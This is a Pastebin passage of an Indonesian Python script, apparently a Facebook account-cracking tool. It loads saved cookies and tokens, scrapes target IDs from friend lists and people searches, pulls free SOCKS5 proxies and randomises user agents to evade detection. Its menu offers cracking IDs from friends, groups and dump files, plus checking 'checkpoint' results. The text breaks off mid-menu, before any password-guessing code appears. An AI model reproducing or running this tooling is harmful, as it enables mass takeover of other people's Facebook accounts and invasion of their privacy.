OBF-XIn

140.213.42.149-/sdcard/Premium/fb.py.py

Apr 9th, 2024
91
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 113.30 KB | None | 0 0
  1. # ----[ CREATE BY ZORA ID 2024 ]---- #
  2.  
  3. ME = '\x1b[1;91m' # MERAH
  4. HU  = '\x1b[1;92m' # HIJAU
  5.  
  6. KG = '\x1b[1;93m' # KUNING
  7. BU = '\x1b[1;94m' # BIRU
  8.  
  9. UU = '\x1b[1;95m' # UNGU
  10. DT  = '\x1b[0m' # DEFAULT
  11.  
  12. try:
  13.     import os, re, sys, json, time, random, requests, datetime, bs4, uuid, base64, string, urllib, hashlib, subprocess
  14.     from rich.console import Console
  15.     from rich.columns import Columns
  16.     from rich.tree import Tree
  17.     from rich.panel import Panel
  18.     from rich import print as printz
  19.     from concurrent.futures import ThreadPoolExecutor
  20.     from token_eaat import GenerateEAAT
  21.     from banner import Terminal
  22. except(Exception, KeyboardInterrupt) as e:
  23.     try:
  24.         from urllib.parse import quote
  25.         __import__('os').system(f'xdg-open https://wa.me/6283140199711?text=FACEBOOK%20ERROR%20%3A%20{quote(str(e))}')
  26.         exit()
  27.     except(Exception, KeyboardInterrupt) as e:
  28.         from urllib.parse import quote
  29.         __import__('os').system(f'xdg-open https://wa.me/6283140199711?text=FACEBOOK%20ERROR%20%3A%20{quote(str(e))}')
  30.         exit()
  31.  
  32. data, data2 = {},{}
  33. bs = bs4.BeautifulSoup
  34. dump, proxies, active, inactive, deleted = [],[],[],[],[]
  35.  
  36. class Requ:
  37.     def __init_(self) -> None:
  38.         pass
  39.        
  40.     def payload(self, curl):
  41.         self.payload = {
  42.             'av': re.search('{"actorID":"(\d+)"', str(curl)).group(1),
  43.             '__user': re.search('{"actorID":"(\d+)"', str(curl)).group(1),
  44.             '__a':'1',
  45.             '__req': 'h',
  46.             '__hs': re.search('"haste_session":"(.*?)"', str(curl)).group(1),
  47.             'dpr': '2',
  48.             '__ccg': re.search('"connectionClass":"(.*?)"',str(curl)).group(1),
  49.             '__rev': re.search('{"consistency":{"rev":(\d+)}', str(curl)).group(1),
  50.             '__s': '',
  51.             '__hsi': re.search('"hsi":"(\d+)"', str(curl)).group(1),
  52.             '__dyn': '',
  53.             '__csr': '',
  54.             '__comet_req': re.search('__comet_req=(\d+)', str(curl)).group(1),
  55.             'fb_dtsg': re.search('"DTSGInitialData",\[\],{"token":"(.*?)"}',str(curl)).group(1),
  56.             'jazoest': re.search('jazoest=(\d+)', str(curl)).group(1),
  57.             'lsd': re.search('"LSD",\[\],{"token":"(.*?)"',str(curl)).group(1),
  58.             '__spin_r': re.search('"__spin_r":(\d+)', str(curl)).group(1),
  59.             '__spin_b': re.search('"__spin_b":"(.*?)"',str(curl)).group(1),
  60.             '__spin_t': re.search('"__spin_t":(\d+)', str(curl)).group(1),
  61.             'fb_api_caller_class': 'RelayModern'
  62.         }
  63.         return(self.payload)
  64.        
  65.     def headers_get(self):
  66.         self.headers = {
  67.             'Accept':'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
  68.             'Accept-Encoding':'gzip, deflate',
  69.             'Accept-Language':'en-US,en;q=0.9',
  70.             'Cache-Control':'max-age=0',
  71.             'Pragma':'akamai-x-cache-on, akamai-x-cache-remote-on, akamai-x-check-cacheable, akamai-x-get-cache-key, akamai-x-get-extracted-values, akamai-x-get-ssl-client-session-id, akamai-x-get-true-cache-key, akamai-x-serial-no, akamai-x-get-request-id,akamai-x-get-nonces,akamai-x-get-client-ip,akamai-x-feo-trace',
  72.             'Sec-Ch-Prefers-Color-Scheme':'light',
  73.             'Sec-Ch-Ua':'','Sec-Ch-Ua-Full-Version-List':'',
  74.             'Sec-Ch-Ua-Mobile':'?0',
  75.             'Sec-Ch-Ua-Platform':'',
  76.             'Sec-Ch-Ua-Platform-Version':'',
  77.             'Sec-Fetch-Dest':'document',
  78.             'Sec-Fetch-Mode':'navigate',
  79.             'Sec-Fetch-Site':'same-origin',
  80.             'Sec-Fetch-User':'?1',
  81.             'Upgrade-Insecure-Requests':'1',
  82.             'User-Agent':'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.0.0 Safari/537.36','Viewport-Width':'924'
  83.         }
  84.         return(self.headers)
  85.        
  86.     def headers_post(self):
  87.         self.headers = {
  88.             'Accept':'*/*',
  89.             'Accept-Encoding':'gzip, deflate',
  90.             'Accept-Language':'en-US,en;q=0.9',
  91.             'Content-Type':'application/x-www-form-urlencoded',
  92.             'Origin':'https://www.facebook.com',
  93.             'Sec-Ch-Prefers-Color-Scheme':'dark',
  94.             'Sec-Ch-Ua':'',
  95.             'Sec-Ch-Ua-Full-Version-List':'',
  96.             'Sec-Ch-Ua-Mobile':'?0',
  97.             'Sec-Ch-Ua-Model':'',
  98.             'Sec-Ch-Ua-Platform':'',
  99.             'Sec-Ch-Ua-Platform-Version':'',
  100.             'Sec-Fetch-Dest':'empty',
  101.             'Sec-Fetch-Mode':'cors',
  102.             'Sec-Fetch-Site':'same-origin',
  103.             'User-Agent':'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.0.0 Safari/537.36'
  104.         }
  105.         return(self.headers)
  106.        
  107.     def bahasa(self, cookie):
  108.         with requests.Session() as r:
  109.             try:
  110.                 curl = r.get("https://mbasic.facebook.com/",cookies={"cookie": cookie}).text
  111.                 if "Apa yang Anda pikirkan sekarang" in curl: pass
  112.                 else:
  113.                     for z in curl.find_all("a",href=True):
  114.                         if "Tidak, Terima Kasih" in z.text:
  115.                             res = r.get("https://mbasic.facebook.com"+z["href"],cookies={"cookie":cookie})
  116.                             par = bs(res.text,"html.parser")
  117.                             act = par.find("form",{"method":"post"})["action"]
  118.                             pat = {
  119.                                 "fb_dtsg": re.search('name="fb_dtsg" value="(.*?)"', str(act.text)).group(1),
  120.                                 "jazoest":re.search('name="jazoest" value="(.*?)"', str(act.text)).group(1),
  121.                                 "submit": "OK, Gunakan Data"
  122.                             }
  123.                             pos = r.post("https://mbasic.facebook.com"+act,data=pat,cookies={"cookie": cookie})
  124.                     return pos
  125.             except (Exception) as e: pass    
  126.        
  127.     def GetFriends(self, cookie):
  128.         with requests.Session() as r:
  129.             try:
  130.                 resp = r.get('https://mbasic.facebook.com/profile.php?v=friends',headers={'user-agent': 'Dalvik/2.1.0 (Linux; U; Android 6.0.1; SM-J210F Source/1 [FBAN/EMA;UNITY_PACKAGE/342;FBBV/107586706;FBAV/172.0.0.8.182;FBDV/SM-J210F;FBLC/id_ID;FBOP/20]'},cookies={'cookie':cookie}).text
  131.                 if '"success":true' or 'Teman' not in str(resp):
  132.                     return re.search('>Teman (.*?)</h3>',str(resp)).group(1).split('(')[1].split(')')[-2]
  133.             except (Exception) as e: return('Tidak Ada')
  134.            
  135.     def GetUltah(self, cookie):
  136.         with requests.Session() as r:
  137.             try:
  138.                 resp = bs(r.get('https://mbasic.facebook.com/profile.php?v=info',headers={'user-agent': 'Dalvik/2.1.0 (Linux; U; Android 6.0.1; SM-J210F Source/1 [FBAN/EMA;UNITY_PACKAGE/342;FBBV/107586706;FBAV/172.0.0.8.182;FBDV/SM-J210F;FBLC/id_ID;FBOP/20]'},cookies={'cookie':cookie}).text,'html.parser')
  139.                 if '"success":true' or 'Tanggal Lahir' not in str(resp):
  140.                     ultah = resp.find(string=re.compile('Tanggal Lahir'))
  141.                     if ultah: return(ultah.find_next('div').text)
  142.                     else: return('tidak di ketahui')
  143.             except (Exception) as e: return(None)
  144.                                    
  145.     def ApkActive(self,cookie):
  146.         with requests.Session() as r:
  147.             try:
  148.                 resp = bs(r.get('https://mbasic.facebook.com/settings/apps/tabbed/?tab=active',headers={'user-agent': 'Dalvik/2.1.0 (Linux; U; Android 6.0.1; SM-J210F Source/1 [FBAN/EMA;UNITY_PACKAGE/342;FBBV/107586706;FBAV/172.0.0.8.182;FBDV/SM-J210F;FBLC/id_ID;FBOP/20]'},cookies={'cookie':cookie}).text,'html.parser')
  149.                 for x  in resp.find_all("h3"):
  150.                     if "Ditambahkan" in x.text: active.append(f"{DT}{str(x.text).replace('Ditambahkan',f' {HU}Ditambahkan')}{DT}")
  151.                     else: continue
  152.                 next = "https://mbasic.facebook.com"+resp.find("a",string="Lihat Lainnya")["href"]
  153.                 self.ApkActive(next,cookie)
  154.             except (Exception) as e: pass
  155.        
  156.     def ApkInactive(self,cookie):
  157.         with requests.Session() as r:
  158.             try:
  159.                 resp = bs(r.get('https://mbasic.facebook.com/settings/apps/tabbed/?tab=inactive',headers={'user-agent': 'Dalvik/2.1.0 (Linux; U; Android 6.0.1; SM-J210F Source/1 [FBAN/EMA;UNITY_PACKAGE/342;FBBV/107586706;FBAV/172.0.0.8.182;FBDV/SM-J210F;FBLC/id_ID;FBOP/20]'},cookies={'cookie':cookie}).text,'html.parser')
  160.                 for x  in resp.find_all("h3"):
  161.                     if "Kedaluwarsa" in x.text: inactive.append(f"{DT}{str(x.text).replace('Kedaluwarsa',f' {KG}Kedaluwarsa')}{DT}")
  162.                     else: continue
  163.                 next = "https://mbasic.facebook.com"+resp.find("a",string="Lihat Lainnya")["href"]
  164.                 self.ApkInactive(next,cookie)
  165.             except (Exception) as e: pass
  166.        
  167.     def ApkDeleted(self,cookie):
  168.         with requests.Session() as r:
  169.             try:
  170.                 resp = bs(r.get('https://mbasic.facebook.com/settings/apps/tabbed/?tab=removed',headers={'user-agent': 'Dalvik/2.1.0 (Linux; U; Android 6.0.1; SM-J210F Source/1 [FBAN/EMA;UNITY_PACKAGE/342;FBBV/107586706;FBAV/172.0.0.8.182;FBDV/SM-J210F;FBLC/id_ID;FBOP/20]'},cookies={'cookie':cookie}).text,'html.parser')
  171.                 for x  in resp.find_all("h3"):
  172.                    if "Dihapus" in x.text: deleted.append(f"{DT}{str(x.text).replace('Dihapus',f' {ME}Dihapus')}{DT}")
  173.                    else: continue
  174.                 next = "https://mbasic.facebook.com"+resp.find("a",string="Lihat Lainnya")["href"]
  175.                 self.ApkDeleted(next,cookie)
  176.             except (Exception) as e: pass
  177.            
  178.     def ConvertName(self, User, cookie):
  179.          with requests.Session() as r:
  180.              if "me" in User or "100" in User:
  181.                 return User
  182.              elif "https" in User or "facebook" in User:
  183.                 uid = User.split('/')[3]
  184.                 link = bs(r.get(f"https://mbasic.facebook.com/{uid}", cookies={'cookies':cookie[0]}).content, "html.parser")
  185.                 kut = link.find('a',string='Lainnya')
  186.                 return(str(kut['href']).split('=')[1].split('&')[0])
  187.              else:
  188.                 link = bs(r.get(f"https://mbasic.facebook.com/{User}", cookies={'cookies':cookie[0]}).content, "html.parser")
  189.                 kut = link.find('a',string='Lainnya')
  190.                 return(str(kut['href']).split('=')[1].split('&')[0])
  191.                  
  192.     def Socksku(self):
  193.         with requests.Session() as r:
  194.             try:
  195.                 response = r.get('https://api.proxyscrape.com/v2/?request=displayproxies&protocol={}&timeout=100000&country=all&ssl=all&anonymity=all'.format('socks5')).text
  196.                 for prox in response.splitlines():
  197.                     proxies.append(prox)
  198.                 return proxies
  199.             except (requests.exceptions.ConnectionError): time.sleep(5); self.Socksku()    
  200.            
  201.     def useragent_fb(self):
  202.         self.asus = random.choice(['ME171', 'Slider SL101', 'Slider SL101', 'Slider SL101', 'Slider SL101', 'Slider SL101', 'Slider SL101', 'Slider SL101', 'Slider SL101', 'ME371MG', 'K01N', 'K012', 'K00E', 'K019', 'K00Z', 'K00Z', 'K016', 'K016', 'K00G', 'K00G', 'K50IJ', 'ME172V', 'ME172V', 'ME172V', 'ME172V', 'K00F', 'K01E', 'K00R', 'K017', 'K013', 'K007', 'K01A', 'ASUS MeMO Pad 7', 'K015', 'K011', 'K00L', 'ME302C', 'ME302C', 'ME302C', 'AOSP on Duma', 'ME302KL', 'ME302KL', 'K00U', 'ME173X', 'ME173X', 'ME173X', 'ME173X', 'ASUS K00S', 'ME301T', 'ME301T', 'ME301T', 'PadFone', 'PadFone', 'PadFone 2', 'PadFone 2', 'PadFone T008', 'PadFone T008', 'PadFone T004', 'ASUS_T00E', 'PadFone T00C', 'Padfone t00c', 'PadFone T00C', 'ASUS_T00N', 'ASUS PadFone X', 'ASUS_T00T', 'ASUS_Z01QD', 'ZS600KL', 'ASUS_I001DE', 'ZS660KL', 'ASUS_I001DA', 'ASUS_I001DC', 'ZS660KL', 'ASUS_I003DD', 'ZS661KS', 'ASUS_I003DD', 'ZS661KS', 'ASUS_I005DA', 'ASUS_I005DC', 'ASUS_AI2201_C', 'ASUS_AI2201_D', 'ASUS_AI2201_F', 'ASUS_AI2203_D', 'ASUS_AI2203_C', 'ASUS_AI2203_B', 'ASUS TAB A8', 'Tinker Board', 'Tinker Board 2', 'Tinker Board S', 'TX201LA', 'TX201LA', 'K010', 'K018', 'K018', 'TF300T', 'ASUS Pad TF300T', 'K01B', 'K00C', 'K00C', 'ASUS XPad 10LTE', 'ASUS Z101', 'ASUS Z101 Prime', 'ASUS_Z008D', 'ASUS_Z00AD', 'Z00D', 'ASUS_Z00LD', 'ASUS_Z00ED', 'ASUS_Z00RD', 'ASUS ZenFone 2E', 'ASUS_Z012D', 'ZE520KL', 'ASUS_Z017D', 'ASUS_Z012DA', 'ASUS_Z017DA', 'ASUS_Z012S', 'ASUS_Z012DE', 'ASUS_Z01FD', 'ASUS_Z016S', 'ZS550KL', 'ASUS_Z01BD', 'ASUS_Z01BS', 'ZC551KL', 'ASUS_Z01BDB', 'ASUS_X00DDB', 'ASUS_X008D', 'ASUS_X00DDA', 'ZC553KL', 'ASUS_X008DB', 'ASUS_A001', 'ASUS_Z01HDA', 'ZE553KL', 'ASUS_X00LD', 'ASUS_Z01KDA', 'ASUS_Z01KS', 'ASUS_X00LDB', 'ASUS_T00I', 'ASUS_X00HD', 'ASUS_X00ID', 'ZC554KL', 'ASUS_X015D', 'ASUS_X015D', 'ASUS_Z01GS', 'ASUS_Z01GD', 'ASUS_X00LDA', 'ZD553KL', 'ASUS_Z01MD', 'ASUS_Z01MDA', 'ZD552KL', 'ASUS_X00QD', 'ASUS_X00QD', 'ASUS_T00J', 'ASUS_X00QSA', 'ZE620KL', 'ASUS_T00F', 'ASUS_T00F', 'ASUS_T00K', 'ASUS_X017DA', 'ASUS_T00P', 'ASUS_Z01RD', 'ASUS_Z01RD', 'Zenfone 5Z', 'ZS620KL', 'ASUS_T00G', 'ASUS_I01WD', 'ASUS_T00G', 'ASUS_Z002', 'ZS630KL', 'ASUS_I002D', 'ZS670KS', 'ZS671KS', 'ASUS_I006D', 'ASUS_I004D', 'ASUS_AI2202', 'ASUS_AI2202_B', 'ASUS_A002', 'ASUS_A002A', 'ASUS_Z007', 'ASUS_X00ADA', 'ASUS_X00BD', 'ASUS_X007D', 'ZB500KL', 'ASUS_Z00SD', 'ZB551KL', 'ASUS_L001', 'ZB500KG', 'ASUS_Z00VD', 'ASUS_X013DA', 'ASUS_X013D', 'ASUS_X014D', 'ASUS_X014D', 'ASUS_X013DB', 'G550KL', 'G550KL', 'G553KL', 'ASUS_Z00YD', 'ASUS_A007', 'ASUS_X00RD', 'G552KL', 'ASUS_Z010DD', 'ASUS_Z010DB', 'ASUS_Z010D', 'ASUS_Z010DA', 'ASUS_X00PD', 'ZB555KL', 'ASUS_X01AD', 'ZB633KL', 'ASUS_X018D', 'ASUS_X018DC', 'ASUS_X00TD', 'ASUS_X00TDB', 'ASUS_X00TDE', 'ZB602KL', 'ASUS_X01BDA', 'ASUS_A001D', 'ASUS_X002', 'ASUS_X003', 'ASUS_X003', 'ASUS_X550', 'ASUS_X00GD', 'ASUS_X005', 'ASUS_Z00UDB', 'ASUS_Z00UD', 'ASUS_A006', 'ASUS_A009', 'ASUS_Z00XS', 'P01T_1', 'P021', 'P00L', 'P00C', 'P028', 'P027', 'ASUS_P00I', 'P001', 'P008', 'ASUS_P00J', 'ASUS ZenWatch', 'ASUS ZenWatch 2'])
  203.         self.ch = (f'{random.randrange(70,124)}.0.{random.randrange(2000,5999)}.{random.randrange(40, 150)}')
  204.         self.windows = random.choice(['Win64; x64','WOW64'])
  205.         self.merku = random.choice(['Vivaldi','Edge'])
  206.         self.angka = random.choice(['01','02','03','04','05','06','07','08','09','10'])
  207.         self.ubuntu = random.choice(['Ubuntu ','Ubuntu/','Ubuntu; ','Ubuntu-'])
  208.         return(random.choice([
  209.             f'Mozilla/5.0 (X11; {self.ubuntu}{random.randrange(10,22)}.{self.angka}; Linux {random.choice(["x86_64","i686"])}) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/{self.ch} Safari/537.36',
  210.         ]))
  211.        
  212.     def useragent_api(self):
  213.         self.ch = (f'{random.randrange(70,124)}.0.{random.randrange(5000,5999)}.{random.randrange(40, 150)}')
  214.         self.dev = random.choice(['ME171', 'Slider SL101', 'Slider SL101', 'Slider SL101', 'Slider SL101', 'Slider SL101', 'Slider SL101', 'Slider SL101', 'Slider SL101', 'ME371MG', 'K01N', 'K012', 'K00E', 'K019', 'K00Z', 'K00Z', 'K016', 'K016', 'K00G', 'K00G', 'K50IJ', 'ME172V', 'ME172V', 'ME172V', 'ME172V', 'K00F', 'K01E', 'K00R', 'K017', 'K013', 'K007', 'K01A', 'ASUS MeMO Pad 7', 'K015', 'K011', 'K00L', 'ME302C', 'ME302C', 'ME302C', 'AOSP on Duma', 'ME302KL', 'ME302KL', 'K00U', 'ME173X', 'ME173X', 'ME173X', 'ME173X', 'ASUS K00S', 'ME301T', 'ME301T', 'ME301T', 'PadFone', 'PadFone', 'PadFone 2', 'PadFone 2', 'PadFone T008', 'PadFone T008', 'PadFone T004', 'ASUS_T00E', 'PadFone T00C', 'Padfone t00c', 'PadFone T00C', 'ASUS_T00N', 'ASUS PadFone X', 'ASUS_T00T', 'ASUS_Z01QD', 'ZS600KL', 'ASUS_I001DE', 'ZS660KL', 'ASUS_I001DA', 'ASUS_I001DC', 'ZS660KL', 'ASUS_I003DD', 'ZS661KS', 'ASUS_I003DD', 'ZS661KS', 'ASUS_I005DA', 'ASUS_I005DC', 'ASUS_AI2201_C', 'ASUS_AI2201_D', 'ASUS_AI2201_F', 'ASUS_AI2203_D', 'ASUS_AI2203_C', 'ASUS_AI2203_B', 'ASUS TAB A8', 'Tinker Board', 'Tinker Board 2', 'Tinker Board S', 'TX201LA', 'TX201LA', 'K010', 'K018', 'K018', 'TF300T', 'ASUS Pad TF300T', 'K01B', 'K00C', 'K00C', 'ASUS XPad 10LTE', 'ASUS Z101', 'ASUS Z101 Prime', 'ASUS_Z008D', 'ASUS_Z00AD', 'Z00D', 'ASUS_Z00LD', 'ASUS_Z00ED', 'ASUS_Z00RD', 'ASUS ZenFone 2E', 'ASUS_Z012D', 'ZE520KL', 'ASUS_Z017D', 'ASUS_Z012DA', 'ASUS_Z017DA', 'ASUS_Z012S', 'ASUS_Z012DE', 'ASUS_Z01FD', 'ASUS_Z016S', 'ZS550KL', 'ASUS_Z01BD', 'ASUS_Z01BS', 'ZC551KL', 'ASUS_Z01BDB', 'ASUS_X00DDB', 'ASUS_X008D', 'ASUS_X00DDA', 'ZC553KL', 'ASUS_X008DB', 'ASUS_A001', 'ASUS_Z01HDA', 'ZE553KL', 'ASUS_X00LD', 'ASUS_Z01KDA', 'ASUS_Z01KS', 'ASUS_X00LDB', 'ASUS_T00I', 'ASUS_X00HD', 'ASUS_X00ID', 'ZC554KL', 'ASUS_X015D', 'ASUS_X015D', 'ASUS_Z01GS', 'ASUS_Z01GD', 'ASUS_X00LDA', 'ZD553KL', 'ASUS_Z01MD', 'ASUS_Z01MDA', 'ZD552KL', 'ASUS_X00QD', 'ASUS_X00QD', 'ASUS_T00J', 'ASUS_X00QSA', 'ZE620KL', 'ASUS_T00F', 'ASUS_T00F', 'ASUS_T00K', 'ASUS_X017DA', 'ASUS_T00P', 'ASUS_Z01RD', 'ASUS_Z01RD', 'Zenfone 5Z', 'ZS620KL', 'ASUS_T00G', 'ASUS_I01WD', 'ASUS_T00G', 'ASUS_Z002', 'ZS630KL', 'ASUS_I002D', 'ZS670KS', 'ZS671KS', 'ASUS_I006D', 'ASUS_I004D', 'ASUS_AI2202', 'ASUS_AI2202_B', 'ASUS_A002', 'ASUS_A002A', 'ASUS_Z007', 'ASUS_X00ADA', 'ASUS_X00BD', 'ASUS_X007D', 'ZB500KL', 'ASUS_Z00SD', 'ZB551KL', 'ASUS_L001', 'ZB500KG', 'ASUS_Z00VD', 'ASUS_X013DA', 'ASUS_X013D', 'ASUS_X014D', 'ASUS_X014D', 'ASUS_X013DB', 'G550KL', 'G550KL', 'G553KL', 'ASUS_Z00YD', 'ASUS_A007', 'ASUS_X00RD', 'G552KL', 'ASUS_Z010DD', 'ASUS_Z010DB', 'ASUS_Z010D', 'ASUS_Z010DA', 'ASUS_X00PD', 'ZB555KL', 'ASUS_X01AD', 'ZB633KL', 'ASUS_X018D', 'ASUS_X018DC', 'ASUS_X00TD', 'ASUS_X00TDB', 'ASUS_X00TDE', 'ZB602KL', 'ASUS_X01BDA', 'ASUS_A001D', 'ASUS_X002', 'ASUS_X003', 'ASUS_X003', 'ASUS_X550', 'ASUS_X00GD', 'ASUS_X005', 'ASUS_Z00UDB', 'ASUS_Z00UD', 'ASUS_A006', 'ASUS_A009', 'ASUS_Z00XS', 'P01T_1', 'P021', 'P00L', 'P00C', 'P028', 'P027', 'ASUS_P00I', 'P001', 'P008', 'ASUS_P00J', 'ASUS ZenWatch', 'ASUS ZenWatch 2'])
  215.         return(f'Mozilla/5.0 (Linux; U; Android {random.randrange(10,13)}; {self.dev}) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/{self.ch} Safari/13F69 [FBAN/MessengerKatana;FBAV/{self.ch};FBBV/{random.randrange(511111111,599999999)};FBDV/{self.dev};FBMD/ASUS;FBSN/IOS;FBSV/10;FBSS/2;FBCR/VerizoneShophe;FBID/phone;FBLC/en_US;FBOP/5;FBRV/0]')
  216.            
  217. class Facebook:
  218.     def __init__(self):
  219.         self.requ = requests.Session()
  220.         self.password_manual, self.password_manuale, self.masukan_sandi, self.masukan_sandine, self.opsi, self.uaman, self.uaku, self.ok, self.cp, self.lp = [],[],[],[],[],[],[],0,0,0
  221.         self.dt = datetime.datetime.now()
  222.         self.alt = ('Facebook-'+str(self.dt.year)+'.txt')
  223.         self.Kilometers, self.Cetimeters = [],[]
  224.         self.chek_data()
  225.        
  226.     def deled_dst(self):
  227.         try: os.system('rm -rf .data_fb.txt')
  228.         except: pass
  229.         GenerateEAAT().Cookies()
  230.        
  231.     def chek_data(self):
  232.         if os.path.isfile('.data_fb.txt') is True:
  233.            xxx = open('.data_fb.txt','r').read()
  234.            cookie, token = xxx.split('|'), xxx.split('|')
  235.            self.login_menu(cookie, token)
  236.         else: self.deled_dst()
  237.        
  238.     def chek_info(self, cookie, token):
  239.         with requests.Session() as r:
  240.             try:
  241.                 response = r.get(f"https://graph.facebook.com/me?fields=id,name,birthday,gender&access_token={token[1]}", cookies = {'cookies':cookie[0]}).json()
  242.                 bulan_ttl = {"01": "Januari", "02": "Februari", "03": "Maret", "04": "April", "05": "Mei", "06": "Juni", "07": "Juli", "08": "Agustus", "09": "September", "10": "Oktober", "11": "November", "12": "Desember"}
  243.                 bulan, tanggal, tahun = response['birthday'].split('/')
  244.                 return (response['id'],response['name'],f'{tanggal} {bulan_ttl[bulan]} {tahun}',response['gender'])
  245.             except (KeyError) as e:
  246.                 Terminal().Clear_Terminal()
  247.                 Console(width = 65, style = "bold grey50").print(Panel(f"[italic red]{str(e).title()}!", title = "[bold red]>[bold yellow]>[bold green]>[bold blue] (Error) [bold green]<[bold yellow]<[bold red]<", subtitle = "╭─────", subtitle_align = "left"))
  248.                 Console().print("[bold grey50]   ╰─> Terjadi Kesalahan, Cookie Exspired Atau Limite!!.."); time.sleep(3)
  249.                 self.deled_dst()
  250.  
  251.     def login_menu(self,cookie, token):
  252.         try: id, name, lahir, gender = self.chek_info(cookie, token)
  253.         except (requests.exceptions.ConnectionError) as e:
  254.             Terminal().Clear_Terminal()
  255.             Console(width = 65, style = "bold grey50").print(Panel(f"[italic red]{str(e).title()}!", title = "[bold red]>[bold yellow]>[bold green]>[bold blue] (Error) [bold green]<[bold yellow]<[bold red]<", subtitle = "╭─────", subtitle_align = "left"))
  256.             Console().print("[bold grey50]   ╰─> Terjadi Kesalahan, Koneksi Anda Error!!.."); time.sleep(3)
  257.             self.chek_data()
  258.         Terminal().Banner_Facebook()      
  259.         self.Kilometers.append(Panel(f'[bold green]•[bold white] User id [bold green]{id}\n[bold green]•[bold white] Username [bold green]{name}', title='[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]Info Akun[bold grey50]) [bold green]<[bold yellow]<[bold red]<',width=32, style='bold grey50'))
  260.         self.Kilometers.append(Panel(f'[bold green]•[bold white] Gender [bold green]{gender}\n[bold green]•[bold white] Lahir [bold green]{lahir}', title='[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]Info Akun[bold grey50]) [bold green]<[bold yellow]<[bold red]<',width=32, style='bold grey50'))
  261.         Console().print(Columns(self.Kilometers))
  262.         Console(width = 65, style = "bold grey50").print(Panel('''[bold white][bold green]01[bold white]. Crack id dari daftar teman  [bold white][bold green]06[bold white]. Chek opsi checkpoint\n[bold white][bold green]02[bold white]. Crack id dari search uname\t[bold white][bold green]07[bold white]. Clone random email\n[bold white][bold green]03[bold white]. Crack id dari member group\t[bold white][bold green]08[bold white]. Chek result crack\n[bold white][bold green]04[bold white]. Crack id dari admin group\t[bold white][bold green]00[bold white].[bold red] Exit facebook\n[bold white][bold green]05[bold white]. Crack id dari file dump''', title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]Menu Facebook[bold grey50]) [bold green]<[bold yellow]<[bold red]<", subtitle = "╭─────", subtitle_align = "left"))
  263.         query = Console().input("[bold grey50]   ╰─> ")  
  264.         if query == '01' or query == '1':
  265.             try:
  266.                 Console(width = 65, style = "bold grey50").print(Panel(f"[italic white]Silahkan Masukan ID Akun Facebook Target Pastikan Tidak Terkunci Atau Private, Ketik [bold green]me[bold white] Jika Ingin Dump Teman Sendiri, Anda Juga Bisa Menggunakan Koma Untuk Dump Masal, Misalnya :[italic green] 100000430704534,100000430704534[italic white] *Gunakan[italic red] CTRL + C[italic white] Untuk Berhenti!", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]Catatan[bold grey50]) [bold green]<[bold yellow]<[bold red]<", subtitle = "╭─────", subtitle_align = "left"))
  267.                 username = Console().input("[bold grey50]   ╰─> ")
  268.                 for self.username in username.split(','):
  269.                     try: self.Dump_Friends(self.username, cookie, token)
  270.                     except (Exception, requests.exceptions.ChunkedEncodingError, requests.exceptions.ConnectionError, KeyboardInterrupt): pass
  271.                 if len(dump) < 50:
  272.                     Console(width = 65, style = "bold grey50").print(Panel(f"[italic red]Jumlah ID Terlalu Sedikit Anda Harus Mencari Target Yang Lain Dan Pastikan ID Yang Terkumpul lebih Dari 50 ID!", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]Dump Terlalu Sedikit[bold grey50]) [bold green]<[bold yellow]<[bold red]<"))
  273.                     exit()
  274.                 else:
  275.                     Console(width = 65).print(Panel(f'[bold green]{len(dump)}',title='[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]Dump[bold grey50]) [bold green]<[bold yellow]<[bold red]<',style='bold grey50'),justify='center')
  276.                     self.Methode()
  277.             except (Exception) as e:
  278.                 Console(width = 65, style = "bold grey50").print(Panel(f"[italic red]{str(e).title()}!", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]Error[bold grey50]) [bold green]<[bold yellow]<[bold red]<"))
  279.                 exit()
  280.                
  281.         elif query == '02' or query == '2':
  282.             try:
  283.                 Console(width = 65, style = "bold grey50").print(Panel(f"[italic white]Silahkan Masukan Satu Nama Target, Anda Juga Bisa Menggunakan Koma Untuk Dump Masal, Misalnya :[italic green] dinda, fatimah[italic white] *Gunakan[italic red] CTRL + C[italic white] Untuk Berhenti!", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]Dump Unlimited[bold grey50]) [bold green]<[bold yellow]<[bold red]<", subtitle = "╭─────", subtitle_align = "left"))
  284.                 username = Console().input("[bold grey50]   ╰─> ")
  285.                 for self.username in username.split(','):
  286.                     try: self.Dump_Nama(f'https://www.facebook.com/search/people/?q={self.username}'.replace(' ','+'), cookie, '')
  287.                     except (Exception, requests.exceptions.ChunkedEncodingError, requests.exceptions.ConnectionError, KeyboardInterrupt) as e: print(e)
  288.                 if len(dump) < 50:
  289.                     Console(width = 65, style = "bold grey50").print(Panel(f"[italic red]Jumlah ID Terlalu Sedikit Anda Harus Mencari Target Yang Lain Dan Pastikan ID Yang Terkumpul lebih Dari 50 ID!", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]Dump Terlalu Sedikit[bold grey50]) [bold green]<[bold yellow]<[bold red]<"))
  290.                     exit()
  291.                 else:
  292.                     Console(width = 65).print(Panel(f'[bold green]{len(dump)}',title='[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]Dump[bold grey50]) [bold green]<[bold yellow]<[bold red]<',style='bold grey50'),justify='center')
  293.                     self.Methode()
  294.             except (Exception) as e:
  295.                 Console(width = 65, style = "bold grey50").print(Panel(f"[italic red]{str(e).title()}!", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]Error[bold grey50]) [bold green]<[bold yellow]<[bold red]<"))
  296.                 exit()
  297.                
  298.         elif query == '03' or query == '3':
  299.             try:
